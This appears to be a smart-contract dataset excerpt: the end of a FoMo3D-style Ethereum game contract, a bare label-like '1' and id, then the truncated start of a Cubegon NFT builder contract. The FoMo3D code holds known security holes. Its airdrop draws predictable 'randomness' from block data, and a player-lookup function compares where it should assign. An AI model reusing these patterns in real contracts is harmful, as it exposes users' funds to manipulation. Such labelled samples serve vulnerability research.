plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns (uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ((round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000)); else return (75000000000000 ); } function getTimeLeft() public view returns (uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return ((round_[_rID].end).sub(_now)); else return ((round_[_rID].strt + rndGap_).sub(_now)); else return (0); } function getPlayerVaults(uint256 _pID) public view returns (uint256, uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add(((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns (uint256) { return (((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns (uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns (uint256) { return ((((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask)); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns (uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ((round_[_rID].eth).keysRec(_eth)); else return ((_eth).keys()); } function iWantXKeys(uint256 _keys) public view returns (uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ((round_[_rID].keys.add(_keys)).ethRec(_keys)); else return ((_keys).eth()); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return (2); else return (_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return (_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { _p3d = _p3d.add(_com); _com = 0; } round_[_rID].mask = _ppt.add(round_[_rID].mask); if (_p3d > 0) Divies.deposit.value(_p3d)(); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return (_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns (bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return (true); else return (false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _com = _eth / 50; uint256 _p3d; if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()")))) { _p3d = _com; _com = 0; } uint256 _long = _eth / 100; uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { Divies.deposit.value(_p3d)(); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return (_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return (_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns (uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return (_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns (uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return (_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == 0xC6a376F0037da2D3e9b47e38838d3d4D0da509c1 || msg.sender == 0x9796dEbbC98aA7061dbBbA72829F9C094D30A2f5 || msg.sender == 0x8Eb9d3aEA9a74F7d8e6206576645E64CE3c92aA9 || msg.sender == 0x23f9BbcAd3E34e7887727D61DD61Ac43c17cdCbd || msg.sender == 0xA2396623aac1dfcCfCfA0540D796Dd52270F7c7c, "only team just can activate" ); require(activated_ == false, "fomo3d already activated"); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } function setOtherFomo(address _otherF3D) public { require( msg.sender == 0xC6a376F0037da2D3e9b47e38838d3d4D0da509c1 || msg.sender == 0x9796dEbbC98aA7061dbBbA72829F9C094D30A2f5 || msg.sender == 0x8Eb9d3aEA9a74F7d8e6206576645E64CE3c92aA9 || msg.sender == 0x23f9BbcAd3E34e7887727D61DD61Ac43c17cdCbd || msg.sender == 0xA2396623aac1dfcCfCfA0540D796Dd52270F7c7c, "only team just can activate" ); require(address(otherF3D_) == address(0), "silly dev, you already did that"); otherF3D_ = otherFoMo3D(_otherF3D); } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return (keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return ((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns (uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns (uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface F3DexternalSettingsInterface { function getFastGap() external returns (uint256); function getLongGap() external returns (uint256); function getFastExtra() external returns (uint256); function getLongExtra() external returns (uint256); } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns (bool); function status() external view returns (address, address, bool); function startMigration(address _newCorpBank) external returns (bool); function cancelMigration() external returns (bool); function finishMigration() external returns (bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns (bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns (bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns (bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length - 1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require(_temp[i + 1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x, 1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z), z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x, x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) return (0); else if (y == 0) return (1); else { uint256 z = x; for (uint256 i =1; i < y; i++) z = mul(z, x); return (z); } } }
1
4,587
pragma solidity ^0.4.24; contract BasicAccessControl { address public owner; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = false; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public { if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; } } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } } contract EMONTInterface { function balanceOf(address tokenOwner) public constant returns (uint balance); function transfer(address to, uint tokens) public; } contract CubegoCoreInterface { function buyMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2, uint _mId3, uint _amount3, uint _mId4, uint _amount4) external returns(uint); function addMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2, uint _mId3, uint _amount3, uint _mId4, uint _amount4) external; function removeMaterials(address _owner, uint _mId1, uint _amount1, uint _mId2, uint _amount2, uint _mId3, uint _amount3, uint _mId4, uint _amount4) external; } contract CubegonNFTInterface { function mineCubegon(address _owner, bytes32 _ch, uint _mId1, uint _amount1, uint _mId2, uint _amount2, uint _mId3, uint _amount3, uint _mId4, uint _amount4, uint _energyLimit) external returns(uint); function updateCubegon(address _owner, uint _tokenId, uint _energyLimit) external; function dismantleCubegon(address _owner, uint _tokenId) external returns(uint mId1, uint amount1, uint mId2, uint amount2, uint mId3, uint amount3, uint mId4, uint amount4); } contract CubegonBuilder is BasicAccessControl { bytes constant SIG_PREFIX = "\x19Ethereum Signed Message:\n32"; struct CubegonMaterial { uint mId1; uint amount1; uint mId2; uint amount2; uint mId3; uint amount3; uint mId4; uint amount4; uint energyLimit; } CubegoCoreInterface public cubegoCore; CubegonNFTInterface public cubegonNFT; EMONTInterface public emontToken; address public verifyAddress; mapping (uint => uint) public energyPrices; uint public ethEmontRate = 1500 * 10 ** 8; function setAddress(address _cubegoCoreAddress, address _emontTokenAddress, address _cubegonNFTAddress, address _verifyAddress) onlyModerators external { cubegoCore = CubegoCoreInterface(_cubegoCoreAddress); emontToken = EMONTInterface(_emontTokenAddress); cubegonNFT = CubegonNFTInterface(_cubegonNFTAddress); verifyAddress = _verifyAddress; } function setEnergyPrice(uint _energy, uint _price) onlyModerators external { energyPrices[_energy] = _price; } function setConfig(uint _ethEmontRate) onlyModerators external { ethEmontRate = _ethEmontRate; } function withdrawEther(address _sendTo, uint _amount) onlyModerators public { if (_amount > address(this).balance) { revert(); } _sendTo.transfer(_amount); } function withdrawToken(address _sendTo, uint _amount) onlyModerators external { if (_amount > emontToken.balanceOf(address(this))) { revert(); } emontToken.transfer(_sendTo, _amount); } function updateCubegonEnergyLimitByToken(address _owner, uint _tokens, uint _tokenId, uint _energyLimit) onlyModerators external { uint payAmount = energyPrices[_energyLimit]; if (payAmount == 0) revert(); uint payTokenAmount = payAmount * ethEmontRate / 10 ** 18; if (payTokenAmount > _tokens) revert(); cubegonNFT.updateCubegon(_owner, _tokenId, _energyLimit); } function extractMaterialToken(bytes32 _mt) public pure returns(uint mId1, uint amount1, uint mId2, uint amount2, uint mId3, uint amount3, uint mId4, uint amount4) { amount4 = uint32(_mt); mId4 = uint32(_mt>>32); amount3 = uint32(_mt>>64); mId3 = uint32(_mt>>96); amount2 = uint32(_mt>>128); mId2 = uint32(_mt>>160); amount1 = uint32(_mt>>192); mId1 = uint32(_mt>>224); } function getVerifySignature(address sender, bytes32 _ch, bytes32 _cmt, bytes32 _tmt, uint _energyLimit, uint _expiryTime) public pure returns(bytes32) { return keccak256(abi.encodePacked(sender, _ch, _cmt, _tmt, _energyLimit, _expiryTime)); } function getVerifyAddress(address sender, bytes32 _ch, bytes32 _cmt, bytes32 _tmt, uint _energyLimit, uint _expiryTime, uint8 _v, bytes32 _r, bytes32 _s) public pure returns(address) { bytes32 hashValue = keccak256(abi.encodePacked(sender, _ch, _cmt, _tmt, _energyLimit, _expiryTime)); bytes32 prefixedHash = keccak256(abi.encodePacked(SIG_PREFIX, hashValue)); return ecrecover(prefixedHash, _v, _r, _s); } function createCubegon(bytes32 _ch, bytes32 _cmt, bytes32 _tmt, uint _energyLimit, uint _expiryTime, uint8 _v, bytes32 _r, bytes32 _s) isActive payable external { if (verifyAddress == address(0)) revert(); if (_expiryTime < block.timestamp) revert(); if (getVerifyAddress(msg.sender, _ch, _cmt, _tmt, _energyLimit, _expiryTime, _v, _r, _s) != verifyAddress) revert(); uint payAmount = energyPrices[_energyLimit]; if (payAmount == 0 || payAmount > msg.value) revert(); CubegonMaterial memory cm; (cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4) = extractMaterialToken(_tmt); payAmount += cubegoCore.buyMaterials(msg.sender, cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4); if (payAmount > msg.value) revert(); (cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4) = extractMaterialToken(_cmt); cubegoCore.removeMaterials(msg.sender, cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4); if (msg.value > payAmount) { msg.sender.transfer((msg.value - payAmount)); } cm.energyLimit = _energyLimit; 